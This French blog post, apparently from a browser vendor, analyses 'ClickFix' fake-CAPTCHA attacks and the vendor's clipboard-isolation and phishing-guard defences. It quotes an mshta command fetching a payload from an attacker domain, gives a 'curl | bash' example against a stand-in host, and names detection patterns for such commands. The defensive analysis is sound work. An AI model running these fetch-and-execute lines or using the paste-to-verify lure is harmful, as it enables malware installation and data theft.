Une page se fait passer pour un CAPTCHA. Pendant que l'utilisateur lit les instructions « je ne suis pas un robot », la page écrit silencieusement une commande PowerShell dans le presse-papiers. Puis elle lui demande d'appuyer sur Win+R et de coller « pour vérifier ». L'humain est l'exploit. C'est ClickFix, et c'est véritablement difficile à arrêter — non parce que c'est ingénieux, mais parce que cela contourne presque toutes les défenses qu'un navigateur a été conçu pour fournir.

Le 9 avril 2026, Rapid7 a observé un utilisateur visiter ce qui ressemblait à une page de téléchargement pour l'application de bureau Claude d'Anthropic. La page lui a demandé de « vérifier qu'il était bien humain ». Quand il a cliqué sur le bouton, la page a déposé la chaîne suivante dans le presse-papiers :

mshta https://download-version.1-5-8.com/claude.msixbundle

Puis elle lui a dit d'appuyer sur Win+R et de coller. L'utilisateur l'a fait. mshta.exe est un binaire Windows qui exécute des HTML Applications, livré avec chaque version du système d'exploitation depuis plus de vingt ans. Ce que mshta a exécuté, c'est une chaîne qui s'est terminée par un infostealer tournant sur l'hôte. Aucun bug de navigateur n'a été touché. Aucune vérification de signature de code n'a été contournée. Aucune invite d'élévation n'est apparue. Le navigateur a fait exactement ce que l'utilisateur lui a demandé ; le système d'exploitation a fait exactement ce que l'utilisateur lui a demandé. L'attaquant a simplement demandé à travers les deux, en utilisant le presse-papiers comme fil.

Quatre jours plus tard, Booking.com a divulgué que son réseau d'hôtels partenaires avait été touché par la même technique — suivie par Microsoft sous le nom de Storm-1865 — avec une charge finale composée de XWorm et VenomRAT. Microsoft lui-même, dans un billet antérieur, attribuait quarante-sept pour cent des intrusions avec accès initial en 2025 à ce seul schéma. Les partenaires de Booking.com n'ont pas cliqué sur une pièce jointe malveillante. Ils n'ont pas téléchargé d'exécutable. Ils ont appuyé sur Win+R et ont collé quelque chose. C'est tout ce qu'il faut désormais.

Pourquoi ClickFix fonctionne.

La chaîne d'attaque tient sur une serviette en papier.

La kill chain ClickFix. La page est une page web normale. Le presse-papiers est un presse-papiers normal. Win+R est une combinaison de touches normale. mshta.exe est un utilitaire Windows normal. Rien dans cette chaîne n'est un exploit au sens classique — l'exploit est la séquence d'opérations ordinaires effectuées par l'humain au milieu.

Toutes les défenses auxquelles on pense d'habitude ont déjà perdu au moment où la charge s'exécute. Le filtre de réputation d'URL ? L'attaquant a enregistré download-version.1-5-8.com hier. Le sandbox du navigateur ? La charge ne tente pas de s'échapper du navigateur — elle demande simplement à l'humain de la porter. La vérification de signature de code sur l'exécutable ? mshta.exe est un binaire Microsoft signé. L'invite d'élévation ? mshta n'a pas besoin d'élévation pour télécharger et exécuter un HTA. L'agent endpoint ? Il voit que le processus parent est explorer.exe déclenché par une pression de touche utilisateur, ce qui est indiscernable de l'utilisateur exécutant littéralement n'importe quoi d'autre sur sa machine.

ClickFix prend la seule partie de l'ordinateur que l'industrie n'a pas été capable de patcher — la personne assise devant — et en fait l'étape d'exécution. C'est pour cela qu'elle est partout aujourd'hui. La campagne Storm-1865 utilisait un leurre aux couleurs de Booking.com. Le cas Rapid7 utilisait un leurre d'installateur Claude. Les prises de contrôle de comptes créateurs Facebook utilisent la même technique depuis des mois. Le leurre change chaque semaine ; le mécanisme, non.

La même attaque, visant macOS.

La capture Rapid7, la brèche Booking.com et les prises de contrôle de créateurs Facebook visaient toutes des hôtes Windows. C'est un vrai biais dans les données de cette semaine — l'industrie ClickFix est, en ce moment, principalement une industrie Windows — mais c'est une propriété du marché, pas une propriété de l'attaque. ClickFix est une technique de presse-papiers et de clavier. Elle se moque bien du système d'exploitation auquel le clavier est attaché.

Sur macOS, les substitutions sont mécaniques. Win+R devient Cmd+Space et Terminal — ou plus récemment, Script Editor. La ligne mshta devient curl -s https://evil.example | bash, ou une ligne osascript -e, ou un AppleScript do shell script encodé en base64. Le faux CAPTCHA reste le faux CAPTCHA ; l'écriture dans le presse-papiers reste l'écriture dans le presse-papiers ; le script « vérifiez que vous êtes humain » de la page change deux phrases. Bitdefender a documenté des leurres ClickFix ciblant le Mac livrant Atomic Stealer plus tôt cette année, et — comme nous y reviendrons dans un instant — le fait qu'Apple ait ressenti le besoin de livrer une réponse au niveau de la plateforme dans macOS 26.4 est le signal le plus clair possible que la variante Mac n'est pas hypothétique.

Pour Bromure, c'est le cas porteur. Bromure tourne sur macOS. Chaque utilisateur à qui nous livrons est une cible ClickFix macOS avant d'être quoi que ce soit d'autre. Quand nous parlerons dans la prochaine section d'isolation du presse-papiers et de phishing-guard, nous ne parlons pas d'une curiosité Windows — nous parlons d'une technique qui a déjà atterri sur le système d'exploitation réel de nos utilisateurs, et que la plateforme qu'ils ont choisie tente, imparfaitement, de corriger.

La posture honnête de Bromure face à ClickFix.

Nous aimerions vous dire que Bromure empêche ClickFix. Ce n'est pas le cas. Ce que Bromure fait, c'est prendre un problème qui était jusque-là sans propriétaire — le presse-papiers comme fil contrôlé par l'attaquant entre le navigateur et l'hôte — et le placer derrière deux couches sur lesquelles nous travaillons activement, l'une architecturale et l'autre à base de plugin. Aucune des deux n'est une réponse aboutie. Les deux valent mieux que rien. Voici exactement où elles en sont aujourd'hui.

Couche un — l'isolation du presse-papiers en option, pas par défaut.

Bromure fait tourner chaque onglet dans sa propre VM Linux jetable. La page tourne là-dedans ; le navigateur tourne là-dedans ; l'écriture navigator.clipboard du faux CAPTCHA se produit là-dedans. La question est de savoir à quoi est connecté le presse-papiers de la VM. Par défaut, aujourd'hui, il est connecté au presse-papiers de l'hôte macOS — parce que la plupart du temps, le presse-papiers est la façon dont on copie une URL du navigateur vers Messages, ou dont on colle un mot de passe depuis 1Password dans un formulaire de connexion. Casser cela par défaut rendrait le navigateur hostile à l'usage.

Le mode isolation totale renverse cette valeur par défaut. En isolation totale, le pont presse-papiers entre la VM et l'hôte macOS est coupé. Une page à l'intérieur de l'onglet peut toujours écrire dans le presse-papiers de sa propre VM — et l'utilisateur peut toujours coller à l'intérieur du terminal Linux de cette VM s'il le veut vraiment — mais le presse-papiers de l'hôte dans lequel l'utilisateur colle vers Win+R, ou vers Terminal.app, ou vers Spotlight, est un presse-papiers différent. La chaîne mshta https://... de la page n'atteint jamais le tampon de collage de l'hôte. La chaîne ClickFix se tronque à l'étape 2.

Deux postures, même onglet, même page. À gauche, partage du presse-papiers activé (la valeur par défaut aujourd'hui) : l'écriture de la page atterrit dans le presse-papiers de l'hôte et le collage Win+R de l'utilisateur l'exécute. À droite, isolation totale : le presse-papiers de la VM et celui de l'hôte sont des tampons différents, et la chaîne d'attaque ne traverse jamais. Le compromis est réel — copier une URL d'un onglet vers votre messagerie cesse de fonctionner.

La lecture honnête de l'isolation totale : c'est une réponse architecturale propre à ClickFix pour les utilisateurs qui la veulent, et c'est une taxe ergonomique que nous ne sommes pas prêts à livrer comme valeur par défaut pour tout le monde. La plupart des gens copient et collent des dizaines de fois par jour entre leur navigateur et leurs notes, leur messagerie, ou un document sur lequel ils travaillent. Faire de ce chemin un « c'est désactivé, allez chercher le réglage » pour récupérer le copier/coller signifierait que la plupart des utilisateurs le réactiveraient en moins d'une semaine — et alors nous leur aurions enseigné la valeur du partage du presse-papiers et le coût de la sécurité d'un seul geste. Ce n'est pas la leçon que nous voulons qu'ils apprennent.

L'isolation totale est donc là pour l'utilisateur qui la veut, documentée, et c'est la chose la plus forte que l'architecture ait à dire sur ClickFix. Ce n'est pas la chose que la plupart des utilisateurs feront tourner.

Couche deux — le plugin anti-phishing, aujourd'hui et demain.

Pour la posture par défaut — pont presse-papiers activé — nous livrons une seconde ligne de défense dans le composant anti-phishing de Bromure, que nous appelons phishing-guard. Cela vaut la peine de décrire ce qu'il fait, parce que la plupart de l'industrie ne le fait pas, et parce que nous pensons que c'est le début de la bonne réponse plutôt que la fin.

Phishing-guard hooke les trois points d'entrée d'écriture dans le presse-papiers à l'intérieur du Chromium de la VM d'onglet : les API modernes navigator.clipboard.writeText et clipboard.write, et le chemin hérité document.execCommand('copy') que d'anciennes pages utilisent encore. Chaque fois qu'une page écrit du texte dans le presse-papiers, phishing-guard peut le voir avant le presse-papiers de l'hôte.

Il exécute alors deux tests en parallèle. Premièrement, il compare le contenu du presse-papiers à un ensemble d'expressions régulières de commandes shell — nous en maintenons dix, réglées sur les charges que nous voyons réellement dans la nature : invocations de powershell, motifs mshta https://, tubes curl ... | bash, blobs PowerShell encodés en base64, certutil -urlcache, astuces rundll32, et quelques autres. Deuxièmement, il scanne la page rendue à la recherche de motifs d'instructions qui disent à l'utilisateur d'exécuter le contenu du presse-papiers — treize d'entre eux, multilingues — des choses comme « Appuyez sur Win+R », « ouvrez Terminal », « collez pour vérifier que vous êtes humain », en anglais, français, espagnol, allemand, portugais, italien, néerlandais, polonais, japonais, coréen, chinois, arabe et russe.

Quand les deux s'allument — une écriture presse-papiers qui ressemble à une commande shell, sur une page dont le texte coache l'utilisateur pour qu'il la colle — phishing-guard envoie la charge candidate à un verdict de modèle de langage et fait remonter un avertissement dans le navigateur si le verdict est hostile.

Deux limites honnêtes même quand cela fonctionne comme prévu : l'appel au LLM a un coût en latence, donc un utilisateur rapide peut coller avant que le verdict ne revienne ; et regex-plus-texte de la page attrape la forme de ClickFix mais pas chaque variante (une page qui instruit l'utilisateur verbalement via une vidéo intégrée plutôt que dans le texte échapperait au scan de motifs aujourd'hui). Nous travaillons activement à durcir le point de blocage et à raccourcir la fenêtre de détection. Ce sont des problèmes d'ingénierie aux réponses connues ; nous n'en avons juste pas encore fini avec eux.

Ce qu'Apple a livré dans macOS 26.4 — et là où ça ne suffit pas.

Le 24 mars 2026, Apple a livré la même forme d'idée au niveau du système d'exploitation. macOS 26.4 a ajouté un dialogue d'avertissement au collage dans Terminal.app de première partie : quand l'utilisateur colle dans une fenêtre Terminal, macOS inspecte le presse-papiers et, sous certaines conditions, affiche un dialogue bloquant qui dit « Malware possible. Collage bloqué. Votre Mac n'a pas été endommagé. Les escrocs incitent souvent à coller du texte dans Terminal pour tenter de nuire à votre Mac ou de compromettre votre vie privée. » C'est une bonne étape, et nous sommes contents qu'Apple l'ait faite. Nous pensons aussi qu'il vaut la peine d'être précis sur ce que c'est et ce que ce n'est pas.

Ce que couvre l'avertissement de collage de macOS 26.4, et ce qu'il ne couvre pas. La première colonne est la surface d'attaque pour laquelle il a été conçu — Safari écrivant une commande shell, l'utilisateur collant dans Terminal.app. Les autres colonnes sont les surfaces vers lesquelles les attaquants pivotent déjà : les terminaux non-Apple, Script Editor, et l'intégralité de Windows, qui est là où la plupart des ClickFix atterrit en premier lieu.

Trois limites valent la peine d'être nommées. La première, c'est que l'avertissement vit à l'intérieur de Terminal.app, pas dans la couche pasteboard de macOS. iTerm2, Alacritty, Warp, Kitty, et tous les autres terminaux que la communauté des développeurs Mac utilise réellement n'héritent pas de la vérification. Ce n'est pas un oubli d'Apple — c'est un choix de périmètre — mais cela signifie que la base d'utilisateurs la plus susceptible de coller une commande shell aléatoire, les ingénieurs avec leur propre préférence de terminal, est exactement la base d'utilisateurs que cette fonctionnalité ne protège pas.

La deuxième, c'est Script Editor. Le 8 avril 2026, Jamf Threat Labs a rapporté que les opérateurs d'Atomic Stealer avaient déjà fait passer leur script d'ingénierie sociale ClickFix de « ouvrez Terminal et collez ceci » à « ouvrez Script Editor et collez ceci », parce que Script Editor exécute AppleScript et les commandes shell via do shell script et n'est pas couvert par l'avertissement de 26.4. Thijs Xhaflaire de Jamf l'a formulé aussi clairement qu'on pouvait le faire : « en déplaçant l'exécution de Terminal vers Script Editor, l'attaquant conserve un mécanisme de livraison familier tout en changeant discrètement comment et où la commande s'exécute réellement. » L'industrie a mis deux semaines à contourner la mitigation. Ce n'est pas une critique d'Apple ; c'est une critique de la forme du problème. On ne peut pas résoudre ClickFix en patchant une seule destination.

La troisième limite est la plus grande et la moins discutée : macOS 26.4 protège les utilisateurs Mac. L'industrie ClickFix réelle — la structure d'affiliés Storm-1865 derrière la brèche Booking.com, la campagne du faux installateur Claude, et l'essentiel du chiffre de quarante-sept pour cent d'accès initial en 2025 — livre des charges Windows, utilise Win+R, invoque mshta et PowerShell, et atterrit sur des hôtes Windows. Apple peut protéger Terminal.app à la perfection et ne bouger aucune aiguille sur cette flotte. Pour les post-mortems ClickFix que vous lirez cette année, le système d'exploitation avec l'avertissement de collage n'est généralement pas celui sur lequel la victime tournait.

Ce qu'Apple a eu raison de faire

Traiter le chemin presse-papiers-vers-commande-shell comme un chemin de collage à pertinence sécurité, et l'inspecter à la couche de l'OS où toutes les apps du système en bénéficient. Ce cadrage est correct. L'invite unique, le dialogue marqué, la formule « votre Mac n'a pas été endommagé » — tout est bien fait. C'est la première reconnaissance au niveau de la plateforme que le presse-papiers est un canal de menace.

Pourquoi ce n'est pas toute la réponse

La vérification est dans Terminal.app, pas dans le sous-système pasteboard. Elle est à un coup. Script Editor est déjà un contournement. Et la population de victimes pour laquelle la fonctionnalité a été conçue est une petite fraction de la population que ClickFix vise réellement. Apple a livré une bonne fonctionnalité. Elle n'a pas livré une solution, et nous ne pensons pas qu'Apple prétende l'avoir fait.

Ce que le navigateur est uniquement placé pour faire

Le navigateur voit la page qui écrit dans le presse-papiers et le texte que la page utilise pour coacher l'utilisateur. Le système d'exploitation ne voit que le bout de la chaîne. Deux signaux séparés — le site d'écriture dans le presse-papiers et le texte d'ingénierie sociale de la page — se combinent en un verdict auquel l'OS seul n'a pas accès. C'est l'argument pour que le navigateur fasse une partie de ce travail.

Ce que le navigateur ne peut pas atteindre

Une fois que l'utilisateur colle dans un vrai Terminal, une vraie boîte Exécuter, un vrai Script Editor, la charge a franchi la limite de tout ce que le navigateur peut voir. L'hôte doit porter sa part. macOS 26.4 est l'hôte qui porte sa part, dans les endroits qu'il a choisi de couvrir. Windows doit faire de même. C'est un problème qui a besoin des deux bouts.

La thèse que nous sommes prêts à défendre.

Depuis vingt ans, l'industrie répond aux attaques d'ingénierie sociale avec des affiches. « Ne cliquez pas sur les liens suspects. » « Soyez vigilant face aux tentatives de phishing. » « Réfléchissez avant de coller. » Quand un utilisateur tombe dans le piège de ClickFix, la réponse publique est généralement une variante de l'utilisateur aurait dû s'en rendre compte — des articles expliquant comment repérer le faux CAPTCHA, des modules de formation, des quiz annuels de sensibilisation à la sécurité, la responsabilité poliment rejetée vers le bas. La supposition sous-jacente à tout cela, c'est que le phishing est, à la racine, un problème humain, et que la couche technique a fait ce qu'elle pouvait.

Nous ne le croyons pas. Nous croyons que ClickFix, et toute autre technique d'ingénierie sociale à base de presse-papiers et de clavier, est un problème technique que la couche technique a constamment refusé d'assumer. Le presse-papiers est un bus de messages non authentifié entre n'importe quelle page web et n'importe quelle autre app du système d'exploitation. La boîte Exécuter accepte n'importe quelle chaîne. Terminal exécute tout ce qui y atterrit. Aucune de ces conceptions n'a été auditée face à l'attaquant que le presse-papiers a désormais vraiment. Aucune d'elles ne va se corriger toute seule.

La bonne réponse est du travail — à l'intérieur des navigateurs, à l'intérieur des systèmes d'exploitation, à l'intérieur de la coopération entre écosystèmes — pour faire du chemin presse-papiers-vers-commande-shell quelque chose dans lequel la machine est prête à intervenir au nom de l'utilisateur. macOS 26.4 est une étape ; Windows a besoin de la sienne. phishing-guard est une étape ; bloquer durement l'écriture dans le presse-papiers, livrer un avertissement spécifique au presse-papiers au lieu d'un spinner générique, et réduire la latence du verdict au point où elle bat un collage rapide — ce sont les étapes suivantes. Le mode isolation totale est une étape ; le rendre plus facile à vivre au quotidien est celle d'après.

Rien de tout cela n'est une affiche. Rien ne demande à l'utilisateur de reconnaître un faux CAPTCHA plus vite, de « survoler les liens », ou de devenir un expert en sécurité pour ouvrir un onglet de navigateur. Nous pensons que les gens ne devraient pas avoir à devenir des experts en sécurité pour ouvrir un onglet de navigateur. La technique a cassé ça. La technique devrait le réparer.

La feuille de route de Bromure contre ClickFix est la forme de cette conviction. Ce que nous livrons aujourd'hui est une défense partielle avec deux leviers — un fort qui coûte en ergonomie, et un plus doux qui gagne en mordant aussi vite que nous le pouvons. Ce que nous livrerons l'année prochaine sera plus tranchant. Et nous continuerons à dire ce que la fonctionnalité fait et ne fait pas, dans des billets comme celui-ci, parce que l'alternative — livrer une page marketing propre avec une coche à côté de « ClickFix » — est exactement le genre de chose qui a amené l'industrie à un endroit où Storm-1865 peut faire paraître facile quarante-sept pour cent de l'accès initial de 2025.